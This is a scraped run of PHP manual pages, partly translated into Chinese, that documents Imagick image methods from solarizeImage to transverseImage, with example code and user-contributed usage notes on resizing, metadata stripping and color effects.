Example #1 Imagick::solarizeImage()

<?php
function solarizeImage($imagePath, $solarizeThreshold) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->solarizeImage($solarizeThreshold * \Imagick::getQuantum());
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

holdoffhunger at gmail dot com 02-May-2012 10:10
This is something neat that you can do to an image as part of making it artistic, probably in conjunction with other ImageMagick effects, like PosterizeImage and OilPaintImage.  SolarizeImage shifts the whole color spectrum toward red for an image -- white gets pushed directly into red, blues get pushed into greens, etc..  It is mostly a psychedelic effect.  You have the option of choosing one parameter for "Threshold", which is really simply how much of this effect you want to have in an image.  The minimum value is 0, and using a negative number defaults it to 0.  The maximum value is the Quantum Threshold.  You can get this value by the ImageMagick function getQuantumRange.  On my install of PHP, that value is set to 65535 (2^16).  Going higher than the Quantum Range defaults to the Quantum Range.  An image with this function performed on it at Threshold 0 has the maximum effect performed, and at Threshold maximum the image has no changes made to it at all.

And now a simple demonstration of the code :

<?php

            // Author: holdoffhunger@gmail.com

        // Grab Image File Data
        // ---------------------------------------------

    $file_to_grab_with_location = "graphics_engine/image_workshop_directory/test.bmp";

    $imagick_type = new Imagick();

        // Open File
        // ---------------------------------------------

    $file_handle_for_viewing_image_file = fopen($file_to_grab_with_location, 'a+');

    $imagick_type->readImageFile($file_handle_for_viewing_image_file);

        // Perform Function
        // ---------------------------------------------

    $imagick_type->solarizeImage(30000);

        // Filename
        // ---------------------------------------------

    $file_to_save_with_location = "graphics_engine/image_workshop_directory/test_new.bmp";

        // Save File
        // ---------------------------------------------

    $file_handle_for_saving_image_file = fopen($file_to_save_with_location, 'a+');

    $imagick_type->writeImageFile($file_handle_for_saving_image_file);

?>


Interpolates colors

  • ? Imagick::solarizeImage
  • Imagick::spliceImage ?
  • PHP Manual
  • Imagick
  • Interpolates colors

Imagick::sparseColorImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::sparseColorImage — Interpolates colors

说明

public Imagick::sparseColorImage(int $SPARSE_METHOD, array $arguments, int $channel = Imagick::CHANNEL_DEFAULT): bool

Given the arguments array containing numeric values this method interpolates the colors found at those coordinates across the whole image using sparse_method. 此方法在Imagick基于ImageMagick 6.4.5以上版本编译时可用。

参数

SPARSE_METHOD

Refer to this list of sparse method constants

arguments

An array containing the coordinates. The array is in format array(1,1, 2,45)

channel

Provide any channel constant that is valid for your channel mode. To apply to more than one channel, combine channel constants using bitwise operators. 缺省为Imagick::CHANNEL_DEFAULT. 参考此 通道常数列表

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 SPARSECOLORMETHOD_BARYCENTRIC Imagick::sparseColorImage()

<?php
function renderImageBarycentric2() {
$points = [
[0.30, 0.10, 'red'],
[0.10, 0.80, 'blue'],
[0.70, 0.60, 'lime'],
[0.80, 0.20, 'yellow'],
];
$imagick = createGradientImage(
400, 400,
$points,
\Imagick::SPARSECOLORMETHOD_BARYCENTRIC
);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

Example #2 SPARSECOLORMETHOD_BILINEAR Imagick::sparseColorImage()

<?php
function renderImageBilinear() {
$points = [[0.30, 0.10, 'red'], [0.10, 0.80, 'blue'], [0.70, 0.60, 'lime'], [0.80, 0.20, 'yellow'],];
$imagick = createGradientImage(500, 500, $points, \Imagick::SPARSECOLORMETHOD_BILINEAR);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

Example #3 SPARSECOLORMETHOD_SPEPARDS Imagick::sparseColorImage()

<?php
function renderImageShepards() {
$points = [
[0.30, 0.10, 'red'],
[0.10, 0.80, 'blue'],
[0.70, 0.60, 'lime'],
[0.80, 0.20, 'yellow'],
];
$imagick = createGradientImage(600, 600, $points, \Imagick::SPARSECOLORMETHOD_SPEPARDS);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

Example #4 SPARSECOLORMETHOD_VORONOI Imagick::sparseColorImage()

<?php
function renderImageVoronoi() {
$points = [
[0.30, 0.10, 'red'],
[0.10, 0.80, 'blue'],
[0.70, 0.60, 'lime'],
[0.80, 0.20, 'yellow'],
];
$imagick = createGradientImage(500, 500, $points, \Imagick::SPARSECOLORMETHOD_VORONOI);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

Example #5 SPARSECOLORMETHOD_BARYCENTRIC Imagick::sparseColorImage()

<?php
function renderImageBarycentric() {
$points = [
[0, 0, 'skyblue'],
[-1, 1, 'skyblue'],
[1, 1, 'black'],
];
$imagick = createGradientImage(600, 200, $points, \Imagick::SPARSECOLORMETHOD_BARYCENTRIC);
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

Example #6 createGradientImage is used by other examples. Imagick::sparseColorImage()

<?php
function createGradientImage($width, $height, $colorPoints, $sparseMethod, $absolute = false) {

$imagick = new \Imagick();
$imagick->newImage($width, $height, "white");
$imagick->setImageFormat("png");

$barycentricPoints = array();

foreach ($colorPoints as $colorPoint) {

if ($absolute == true) {
$barycentricPoints[] = $colorPoint[0];
$barycentricPoints[] = $colorPoint[1];
}
else {
$barycentricPoints[] = $colorPoint[0] * $width;
$barycentricPoints[] = $colorPoint[1] * $height;
}

if (is_string($colorPoint[2])) {
$imagickPixel = new \ImagickPixel($colorPoint[2]);
}
else if ($colorPoint[2] instanceof \ImagickPixel) {
$imagickPixel = $colorPoint[2];
}
else{
$errorMessage = sprintf(
"Value %s is neither a string nor an ImagickPixel class. Cannot use as a color.",
$colorPoint[2]
);

throw new \InvalidArgumentException(
$errorMessage
);
}

$red = $imagickPixel->getColorValue(\Imagick::COLOR_RED);
$green = $imagickPixel->getColorValue(\Imagick::COLOR_GREEN);
$blue = $imagickPixel->getColorValue(\Imagick::COLOR_BLUE);
$alpha = $imagickPixel->getColorValue(\Imagick::COLOR_ALPHA);

$barycentricPoints[] = $red;
$barycentricPoints[] = $green;
$barycentricPoints[] = $blue;
$barycentricPoints[] = $alpha;
}

$imagick->sparseColorImage($sparseMethod, $barycentricPoints);

return $imagick;
}

?>

User Contributed Notes

aehtyb[]gmail.com 12-May-2016 08:48
For those curious how to use sparseColorImage() directly without the seperate createGradientImage() function.. here is the format of the array used:

Array (
[0]  => 0   // X1 (X coordinate value #1)
[1]  => 0   // Y1 (Y coordinate value #1)
[2]  => 1   // R (red value between 0 and 1)
[3]  => 0   // G (green value between 0 and 1)
[4]  => 0   // B (blue value between 0 and 1)
[5]  => 1   // A (alpha value between 0 and 1)
[6]  => 400 // X2
[7]  => 0   // Y2
[8]  => 0   // R
[9]  => 1   // G
[10] => 0   // B
[11] => 1   // A
[12] => 0   // X3
[13] => 400 // Y3
[14] => 1   // R
[15] => 1   // G
[16] => 0   // B
[17] => 1   // A
[18] => 400 // X4
[19] => 400 // Y4
[20] => 0   // R
[21] => 0   // G
[22] => 1   // B
[23] => 1   // A
)

<?php

$imagick = new imagick();
$imagick->newImage(400,400,"white");
$imagick->setImageFormat("png");

$array = Array(0,0,1,0,0,1,400,0,0,1,0,1,0,400,1,1,0,1,400,400,0,0,1,1);
$imagick->sparseColorImage(imagick::SPARSECOLORMETHOD_BILINEAR,$array);

header("Content-Type: image/png");
echo $imagick->getImageBlob();

?>


Splices a solid color into the image

  • ? Imagick::sparseColorImage
  • Imagick::spreadImage ?
  • PHP Manual
  • Imagick
  • Splices a solid color into the image

Imagick::spliceImage

(PECL imagick 2, PECL imagick 3)

Imagick::spliceImage — Splices a solid color into the image

说明

public Imagick::spliceImage(
int $width,
int $height,
int $x,
int $y
): bool

Splices a solid color into the image.

参数

width

height

x

y

返回值

成功时返回 true。

示例

Example #1 Imagick::spliceImage()

<?php
function spliceImage($imagePath, $startX, $startY, $width, $height) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->spliceImage($width, $height, $startX, $startY);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

fake0 at shenafu dot com 29-Apr-2016 03:16
spliceImage() increases the dimensions of the image without stretching the original image by creating a box of the same color as the image's background.

You can set the color with setImageBackgroundColor() before running spliceImage().

The $width and $height parameters define how much is increased horizontally and vertically, respectively, which determines how big the box is. (Note that these values are not always the same size as the box.) The final dimensions of the new image are
$newWidth = $oldWidth + $width
$newHeight = $oldHeight + $height

So, to expand the image in both directions, $width and $height should be positive values. To expand in only one direction (horizontally or vertically), set one of these values to 0 ($height or $width respectively).

The $x and $y parameters are relative to the original image and define where to put the box. If $x and $y are one of the corners of the original image, the box is placed in the respective corner and expands the image outward from that corner. Otherwise, the box splits the original image to the sides or corners and places the box in the middle of the new image. Thus, you use $x and $y to direct where and how the original image is split. Any remaining space is filled with the background color.


Randomly displaces each pixel in a block

  • ? Imagick::spliceImage
  • Imagick::statisticImage ?
  • PHP Manual
  • Imagick
  • Randomly displaces each pixel in a block

Imagick::spreadImage

(PECL imagick 2, PECL imagick 3)

Imagick::spreadImage — Randomly displaces each pixel in a block

说明

public Imagick::spreadImage(float $radius): bool

Special effects method that randomly displaces each pixel in a block defined by the radius parameter.

参数

radius

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::spreadImage()

<?php
function spreadImage($imagePath, $radius) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->spreadImage($radius);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Modifies image using a statistics function

  • ? Imagick::spreadImage
  • Imagick::steganoImage ?
  • PHP Manual
  • Imagick
  • Modifies image using a statistics function

Imagick::statisticImage

(PECL imagick 3 >= 3.3.0)

Imagick::statisticImage — Modifies image using a statistics function

说明

public Imagick::statisticImage(
int $type,
int $width,
int $height,
int $channel = Imagick::CHANNEL_DEFAULT
): bool

Replace each pixel with corresponding statistic from the neighborhood of the specified width and height.

参数

type

width

height

channel

返回值

成功时返回 true。

示例

Example #1 Imagick::statisticImage()

<?php
function statisticImage($imagePath, $statisticType, $width, $height, $channel) {
$imagick = new \Imagick(realpath($imagePath));

$imagick->statisticImage(
$statisticType,
$width,
$height,
$channel
);

header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

statisticImage($imagePath, \Imagick::STATISTIC_MEDIAN, 5, 5, \Imagick::CHANNEL_DEFAULT);

?>

User Contributed Notes

There are no user contributed notes for this page.


Hides a digital watermark within the image

  • ? Imagick::statisticImage
  • Imagick::stereoImage ?
  • PHP Manual
  • Imagick
  • Hides a digital watermark within the image

Imagick::steganoImage

(PECL imagick 2, PECL imagick 3)

Imagick::steganoImage — Hides a digital watermark within the image

说明

public Imagick::steganoImage(Imagick $watermark_wand, int $offset): Imagick

Hides a digital watermark within the image. Recover the hidden watermark later to prove that the authenticity of an image. Offset defines the start position within the image to hide the watermark.

参数

watermark_wand

offset

返回值

成功时返回 true。

User Contributed Notes

There are no user contributed notes for this page.


Composites two images

  • ? Imagick::steganoImage
  • Imagick::stripImage ?
  • PHP Manual
  • Imagick
  • Composites two images

Imagick::stereoImage

(PECL imagick 2, PECL imagick 3)

Imagick::stereoImage — Composites two images

说明

public Imagick::stereoImage(Imagick $offset_wand): bool

Composites two images and produces a single image that is the composite of a left and right image of a stereo pair.

参数

offset_wand

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

There are no user contributed notes for this page.


去掉图片的所有配置和设置

  • ? Imagick::stereoImage
  • Imagick::subImageMatch ?
  • PHP Manual
  • Imagick
  • 去掉图片的所有配置和设置

Imagick::stripImage

(PECL imagick 2, PECL imagick 3)

Imagick::stripImage — 去掉图片的所有配置和设置

说明

public Imagick::stripImage(): bool

去掉图片的所有配置和设置

参数

此函数没有参数。

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

User Contributed Notes

Max Eremin 28-Dec-2016 12:11
StripImage also delete ICC image profile by default.
The resulting images seem to lose a lot of color information and look "flat" compared to their non-stripped versions.

Consider keeping the ICC profile (which causes richer colors) while removing all other EXIF data:

1. Extract the ICC profile
2. Strip EXIF data and image profile
3. Add the ICC profile back

The code is:
<?php
$profiles = $img->getImageProfiles("icc", true);

$img->stripImage();

if(!empty($profiles))
    $img->profileImage("icc", $profiles['icc']);
?>
g dot a dot karthikeyan at gmail dot com 23-Dec-2013 07:09
Please note that striping off the exif information without handling the orientation information available in the exif will lead to wrong orientation of the image
pengc99 02-May-2011 10:09
this will actually clear exif data so if you run an image uploading script with privacy concerns, this will effectively clear all GPS / metadata from the image.


Searches for a subimage in the current image and returns a similarity image

  • ? Imagick::stripImage
  • Imagick::swirlImage ?
  • PHP Manual
  • Imagick
  • Searches for a subimage in the current image and returns a similarity image

Imagick::subImageMatch

(PECL imagick 3 >= 3.3.0)

Imagick::subImageMatch — Searches for a subimage in the current image and returns a similarity image

说明

public Imagick::subImageMatch(Imagick $Imagick, array &$offset = ?, float &$similarity = ?): Imagick

Searches for a subimage in the current image and returns a similarity image such that an exact match location is completely white and if none of the pixels match, black, otherwise some gray level in-between. You can also pass in the optional parameters bestMatch and similarity. After calling the function similarity will be set to the 'score' of the similarity between the subimage and the matching position in the larger image, bestMatch will contain an associative array with elements x, y, width, height that describe the matching region.

参数

Imagick

offset

similarity

A new image that displays the amount of similarity at each pixel.

返回值

示例

Example #1 Imagick::subImageMatch()

<?php
function subImageMatch($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick2 = clone $imagick;
$imagick2->cropimage(40, 40, 250, 110);
$imagick2->vignetteimage(0, 1, 3, 3);

$similarity = null;
$bestMatch = null;
$comparison = $imagick->subImageMatch($imagick2, $bestMatch, $similarity);

$comparison->setImageFormat('png');
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

inipel at ya dot ru 31-Aug-2021 12:01
After $ im->cropImage method, $ im->subImageMatch doesn't work, before using $ im->subImageMatch, use $ im->setImagePage(0, 0, 0, 0);

The sequence is as follows:
$ im->cropImage();
$ im->setImagePage (0, 0, 0, 0);
$ im->subImageMatch()


Swirls the pixels about the center of the image

  • ? Imagick::subImageMatch
  • Imagick::textureImage ?
  • PHP Manual
  • Imagick
  • Swirls the pixels about the center of the image

Imagick::swirlImage

(PECL imagick 2, PECL imagick 3)

Imagick::swirlImage — Swirls the pixels about the center of the image

说明

Imagick::swirlImage(float $degrees): bool

Swirls the pixels about the center of the image, where degrees indicates the sweep of the arc through which each pixel is moved. You get a more dramatic effect as the degrees move from 1 to 360.

参数

degrees

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::swirlImage()

<?php
function swirlImage($imagePath, $swirl) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->swirlImage($swirl);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 05-Nov-2009 08:47
<?php

$img = new Imagick('blablabla.jpg');
$img->swirlImage ( 20.0 );
header("Content-Type: image/jpeg");
echo $img;

?>


Repeatedly tiles the texture image

  • ? Imagick::swirlImage
  • Imagick::thresholdImage ?
  • PHP Manual
  • Imagick
  • Repeatedly tiles the texture image

Imagick::textureImage

(PECL imagick 2, PECL imagick 3)

Imagick::textureImage — Repeatedly tiles the texture image

说明

Imagick::textureImage(Imagick $texture_wand): Imagick

Repeatedly tiles the texture image across and down the image canvas.

参数

texture_wand

Imagick object to use as texture image

返回值

Returns a new Imagick object that has the repeated texture applied.

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::textureImage()

<?php
function textureImage($imagePath) {
$image = new \Imagick();
$image->newImage(640, 480, new \ImagickPixel('pink'));
$image->setImageFormat("jpg");
$texture = new \Imagick(realpath($imagePath));
$texture->scaleimage($image->getimagewidth() / 4, $image->getimageheight() / 4);
$image = $image->textureImage($texture);
header("Content-Type: image/jpg");
echo $image;
}

?>

User Contributed Notes

Dirk 13-Jan-2014 03:56
This method doesn't actually return TRUE on success, it returns an Imagick with the texture applied, but the original Imagick object is not modified. As per the other examples on here, you need to use the result of textureImage call as your new tiled image.
truthseekercz at email dot cz 08-Sep-2010 05:41
<?php

$image = new Imagick();
$image->newImage(500, 500, new ImagickPixel('red'));
$image->setImageFormat("png");
$type=$image->getFormat();
header("Content-type: $type");

$texture = new Imagick();
$texture->readImage('texture.png');
$image = $image->textureImage($texture);

echo $image;

?>

This works for me, however, I give no guarantees that the above example is the proper usage of this function.


Changes the value of individual pixels based on a threshold

  • ? Imagick::textureImage
  • Imagick::thumbnailImage ?
  • PHP Manual
  • Imagick
  • Changes the value of individual pixels based on a threshold

Imagick::thresholdImage

(PECL imagick 2, PECL imagick 3)

Imagick::thresholdImage — Changes the value of individual pixels based on a threshold

说明

public Imagick::thresholdImage(float $threshold, int $channel = Imagick::CHANNEL_DEFAULT): bool

Changes the value of individual pixels based on the intensity of each pixel compared to threshold. The result is a high-contrast, two color image.

参数

threshold

channel

返回值

成功时返回 true。

示例

Example #1 Imagick::thresholdImage()

<?php
function thresholdimage($imagePath, $threshold, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->thresholdimage($threshold * \Imagick::getQuantum(), $channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

php t traction dot de 29-Jun-2012 07:25
getQuantumRange() can be handy here:

<?php
$i = new Imagick($imageFile);
$max = $i->getQuantumRange();
$max = $max["quantumRangeLong"];
$i->thresholdImage(0.77 * $max);
?>


Changes the size of an image

  • ? Imagick::thresholdImage
  • Imagick::tintImage ?
  • PHP Manual
  • Imagick
  • Changes the size of an image

Imagick::thumbnailImage

(PECL imagick 2, PECL imagick 3)

Imagick::thumbnailImage — Changes the size of an image

说明

public Imagick::thumbnailImage(
int $columns,
int $rows,
bool $bestfit = false,
bool $fill = false,
bool $legacy = false
): bool

Changes the size of an image to the given dimensions and removes any associated profiles. The goal is to produce small, low cost thumbnail images suited for display on the Web. If true is given as a third parameter then columns and rows parameters are used as maximums for each side. Both sides will be scaled down until they match or are smaller than the parameter given for the side.

Note: 参数 bestfit 的特性在 Imagick 3.0.0 中已改变。在此版本以前，当目标尺寸设为 400x400 时，原尺寸为 200x150 的图像将不会被改变。自 Imagick 3.0.0 起，源图像将会被放大到 400x300 因为这将更好的适合目标尺寸。当使用参数 bestfit 时，必须同时给出宽度和高度。

参数

columns

Image width

rows

Image height

bestfit

Whether to force maximum values

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

示例

Example #1 Imagick::thumbnailImage()

<?php
function thumbnailImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->setbackgroundcolor('rgb(64, 64, 64)');
$imagick->thumbnailImage(100, 100, true, true);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

Anonymous 14-Apr-2012 08:35
If the 3rd parameter is true, the image will be resized in such a way that it'll be contained within the dimensions mentioned.
It's like changing the dimensions of the image so that it can be contained in a box of given dimension.

Eg: Image's dimension is 1600*800. If we use thumbnailImage(400, 400, true), the new image's dimension will be 400*200.

Some of the previous notes in this page mentions that the image is resized proportionally so that its _smallest_ dimension matches the width or height specified, NOT both.
But this is not the case now. Both width & height of the image will be <= that mentioned in thumbnailImage().
Maybe imagick changed/updated the functionality.
web at johnbaldock dot com 21-Mar-2012 07:25
When shrinking a jpg you can get more then double the performance if you use <?php $image->setOption('jpeg:size', '800x532') ?>, exchanging 800x532 to the resolution you want the final image to be. For instance instead of this:

<?php
$image = new Imagick('foo.jpg');
?>

You would use this:

<?php
$image = new Imagick();
$image->setOption('jpeg:size', '800x532');
$image->readImage('foo.jpg');
?>
jarrod at jarrodchristman dot com 29-Oct-2011 08:31
Even though thumbnailImage is meant to produce the smallest file size image possible, i found it didn't. I put together this code and bordering different compression settings, found it produced the smallest file size:

<?php
// Max vert or horiz resolution
$maxsize=550;

// create new Imagick object
$image = new Imagick('input_image_filename_and_location');

// Resizes to whichever is larger, width or height
if($image->getImageHeight() <= $image->getImageWidth())
{
// Resize image using the lanczos resampling algorithm based on width
$image->resizeImage($maxsize,0,Imagick::FILTER_LANCZOS,1);
}
else
{
// Resize image using the lanczos resampling algorithm based on height
$image->resizeImage(0,$maxsize,Imagick::FILTER_LANCZOS,1);
}

// Set to use jpeg compression
$image->setImageCompression(Imagick::COMPRESSION_JPEG);
// Set compression level (1 lowest quality, 100 highest quality)
$image->setImageCompressionQuality(75);
// Strip out unneeded meta data
$image->stripImage();
// Writes resultant image to output directory
$image->writeImage('output_image_filename_and_location');
// Destroys Imagick object, freeing allocated resources in the process
$image->destroy();

?>

I found setCompression to not function at all and had to use setImageCompression. The stripImage call is needed and strips out unneeded meta data. You can choose whatever filter you want, but i found lanczos to be the best for image reduction, though it is more computationally heavy.
Anonymous 02-Jul-2008 04:15
Here is a function to calculate the new dimensions of a thumbnail, to fit within the given dimensions on both sides.

<?php
/**
 * Calculate new image dimensions to new constraints
 *
 * @param Original X size in pixels
 * @param Original Y size in pixels
 * @return New X maximum size in pixels
 * @return New Y maximum size in pixels
 */
function scaleImage($x,$y,$cx,$cy) {
    //Set the default NEW values to be the old, in case it doesn't even need scaling
    list($nx,$ny)=array($x,$y);

    //If image is generally smaller, don't even bother
    if ($x>=$cx || $y>=$cx) {

        //Work out ratios
        if ($x>0) $rx=$cx/$x;
        if ($y>0) $ry=$cy/$y;

        //Use the lowest ratio, to ensure we don't go over the wanted image size
        if ($rx>$ry) {
            $r=$ry;
        } else {
            $r=$rx;
        }

        //Calculate the new size based on the chosen ratio
        $nx=intval($x*$r);
        $ny=intval($y*$r);
    }

    //Return the results
    return array($nx,$ny);
}
?>

Use it like this:

<?php
//Read original image and create Imagick object
$thumb=new Imagick($originalImageFilename);

//Work out new dimensions
list($newX,$newY)=scaleImage(
        $thumb->getImageWidth(),
        $thumb->getImageHeight(),
        $newMaximumWidth,
        $newMaximumHeight);

//Scale the image
$thumb->thumbnailImage($newX,$newY);

//Write the new image to a file
$thumb->writeImage($thumbnailFilename);
?>
n-sw-bit at ya dot ru 09-Jun-2008 09:48
If you want to resize your picture to fit smallest parameter:

$fitbyWidth = (($maxWidth/$w)<($maxHeight/$h)) ?true:false;

if($fitbyWidth){
    $im->thumbnailImage($maxWidth, 0, false);
}else{
    $im->thumbnailImage(0, $maxHeight, false);
}
sgarner at expio dot co dot nz 16-Oct-2007 10:11
With $fit == true, the image is resized proportionally so that its _smallest_ dimension matches the width or height specified, NOT both.

For example, if you say thumbnailImage(400, 400, true), on an image of 1600x800, it will be resized to 800x400, NOT 400x200 as you might expect.

The solution is to compare the original image's dimensions to the specified dimensions, and substitute zero for the smaller dimension, and set $fit = false.

i.e.: thumbnailImage(400, 0, false) would resize that 1600x800 image to 400x200.
raybdbomb . gmail 10-Sep-2007 04:18
As noted here
http://php.net/manual/en/ref.imagick.php
With either of the params as 0, the aspect ratio is maintained.


Applies a color vector to each pixel in the image

  • ? Imagick::thumbnailImage
  • Imagick::__toString ?
  • PHP Manual
  • Imagick
  • Applies a color vector to each pixel in the image

Imagick::tintImage

(PECL imagick 2, PECL imagick 3)

Imagick::tintImage — Applies a color vector to each pixel in the image

说明

public Imagick::tintImage(mixed $tint, mixed $opacity, bool $legacy = false): bool

Applies a color vector to each pixel in the image. The length of the vector is 0 for black and white and at its maximum for the midtones. The vector weighing function is f(x)=(1-(4.0*((x-0.5)*(x-0.5)))).

参数

tint

opacity

返回值

成功时返回 true。

错误／异常

错误时抛出 ImagickException。

更新日志

版本 | 说明
PECL imagick 2.1.0 | Now allows a string representing the color as the first parameter and a float representing the opacity value as the second parameter. Previous versions allow only an ImagickPixel objects.

示例

Example #1 Imagick::tintImage()

<?php
function tintImage($r, $g, $b, $a) {
$a = $a / 100;

$imagick = new \Imagick();
$imagick->newPseudoImage(400, 400, 'gradient:black-white');

$tint = new \ImagickPixel("rgb($r, $g, $b)");
$opacity = new \ImagickPixel("rgb(128, 128, 128, $a)");
$imagick->tintImage($tint, $opacity);
$imagick->setImageFormat('png');
header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Returns the image as a string

  • ? Imagick::tintImage
  • Imagick::transformImage ?
  • PHP Manual
  • Imagick
  • Returns the image as a string

Imagick::__toString

(PECL imagick 2, PECL imagick 3)

Imagick::__toString — Returns the image as a string

说明

public Imagick::__toString(): string

Returns the current image as string. This will only return a single image; it should not be used for Imagick objects that contain multiple images e.g. an animated GIF or PDF with multiple pages.

参数

此函数没有参数。

返回值

Returns the string content on success or an empty string on failure.

参见

  • Imagick::getImageBlob() - Returns the image sequence as a blob
  • Imagick::getImagesBlob() - Returns all image sequences as a blob

User Contributed Notes

There are no user contributed notes for this page.


Convenience method for setting crop size and the image geometry

  • ? Imagick::__toString
  • Imagick::transformImageColorspace ?
  • PHP Manual
  • Imagick
  • Convenience method for setting crop size and the image geometry

Imagick::transformImage

(PECL imagick 2, PECL imagick 3)

Imagick::transformImage — Convenience method for setting crop size and the image geometry

Warning

此函数在 Imagick 3.4.4 中被 废弃，强烈建议不要应用此函数。

说明

public Imagick::transformImage(string $crop, string $geometry): Imagick

A convenience method for setting crop size and the image geometry from strings. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

crop

A crop geometry string. This geometry defines a subregion of the image to crop.

geometry

An image geometry string. This geometry defines the final size of the image.

返回值

Returns an Imagick object containing the transformed image.

示例

Example #1 Using Imagick::transformImage():

The example creates a 100x100 black image.

<?php
$image = new Imagick();
$image->newImage(300, 200, "black");
$new_image = $image->transformImage("100x100", "100x100");
$new_image->writeImage('test_out.jpg');
?>

参见

  • Imagick::cropImage() - 截图图片的一块区域
  • Imagick::resizeImage() - Scales an image
  • Imagick::thumbnailImage() - Changes the size of an image

User Contributed Notes

There are no user contributed notes for this page.


Transforms an image to a new colorspace

  • ? Imagick::transformImage
  • Imagick::transparentPaintImage ?
  • PHP Manual
  • Imagick
  • Transforms an image to a new colorspace

Imagick::transformImageColorspace

(PECL imagick 3)

Imagick::transformImageColorspace — Transforms an image to a new colorspace

说明

public Imagick::transformImageColorspace(int $colorspace): bool

Transforms an image to a new colorspace.

参数

colorspace

The colorspace the image should be transformed to, one of the COLORSPACE constants e.g. Imagick::COLORSPACE_CMYK.

返回值

成功时返回 true。

示例

Example #1 Imagick::transformImageColorspace() example

Transforms an image to a new colorspace, and then extracts a single channel so that the individual channel values can be viewed.

<?php
function transformImageColorspace($imagePath, $colorSpace, $channel) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->transformimagecolorspace($colorSpace);
//channel should be one of the channel constants e.g. \Imagick::CHANNEL_BLUE
$imagick->separateImageChannel($channel);
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}
?>

参见

  • Imagick::setColorSpace() - Set colorspace

User Contributed Notes

A.Ross 15-Apr-2015 07:31
This SO question and answer might help clarify why transformImageColorspace is useful: http://stackoverflow.com/questions/29296779/convert-pdf-with-transparency-and-cmyk-to-jpg

Also, there's a Github issue here that explains the difference between transformImageColorspace and setImageColorspace: https://github.com/rmagick/rmagick/pull/75


Paints pixels transparent

  • ? Imagick::transformImageColorspace
  • Imagick::transposeImage ?
  • PHP Manual
  • Imagick
  • Paints pixels transparent

Imagick::transparentPaintImage

(PECL imagick 2 >= 2.3.0, PECL imagick 3)

Imagick::transparentPaintImage — Paints pixels transparent

说明

public Imagick::transparentPaintImage(
mixed $target,
float $alpha,
float $fuzz,
bool $invert
): bool

Paints pixels matching the target color transparent. 此方法在Imagick基于ImageMagick 6.3.8以上版本编译时可用。

参数

target

The target color to paint

alpha

透明级别：1.0 是完全不透明，0.0 是完全透明。

fuzz

The amount of fuzz. For example, set fuzz to 10 and the color red at intensities of 100 and 102 respectively are now interpreted as the same color.

invert

If true paints any pixel that does not match the target color.

返回值

成功时返回 true。

示例

Example #1 Imagick::transparentPaintImage()

<?php
function transparentPaintImage($color, $alpha, $fuzz) {
$imagick = new \Imagick(realpath("images/BlueScreen.jpg"));

//Need to be in a format that supports transparency
$imagick->setimageformat('png');

$imagick->transparentPaintImage(
$color, $alpha, $fuzz * \Imagick::getQuantum(), false
);

//Not required, but helps tidy up left over pixels
$imagick->despeckleimage();

header("Content-Type: image/png");
echo $imagick->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


Creates a vertical mirror image

  • ? Imagick::transparentPaintImage
  • Imagick::transverseImage ?
  • PHP Manual
  • Imagick
  • Creates a vertical mirror image

Imagick::transposeImage

(PECL imagick 2, PECL imagick 3)

Imagick::transposeImage — Creates a vertical mirror image

说明

public Imagick::transposeImage(): bool

Creates a vertical mirror image by reflecting the pixels around the central x-axis while rotating them 90-degrees. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

此函数没有参数。

返回值

成功时返回 true。

示例

Example #1 Imagick::transposeImage()

<?php
function transposeImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->transposeImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

参见

  • Imagick::transverseImage() - Creates a horizontal mirror image

User Contributed Notes

There are no user contributed notes for this page.


Creates a horizontal mirror image

  • ? Imagick::transposeImage
  • Imagick::trimImage ?
  • PHP Manual
  • Imagick
  • Creates a horizontal mirror image

Imagick::transverseImage

(PECL imagick 2, PECL imagick 3)

Imagick::transverseImage — Creates a horizontal mirror image

说明

public Imagick::transverseImage(): bool

Creates a horizontal mirror image by reflecting the pixels around the central y-axis while rotating them 270-degrees. 此方法在Imagick基于ImageMagick 6.2.9以上版本编译时可用。

参数

此函数没有参数。

返回值

成功时返回 true。

示例

Example #1 Imagick::transverseImage()

<?php
function transverseImage($imagePath) {
$imagick = new \Imagick(realpath($imagePath));
$imagick->transverseImage();
header("Content-Type: image/jpg");
echo $imagick->getImageBlob();
}

?>

参见

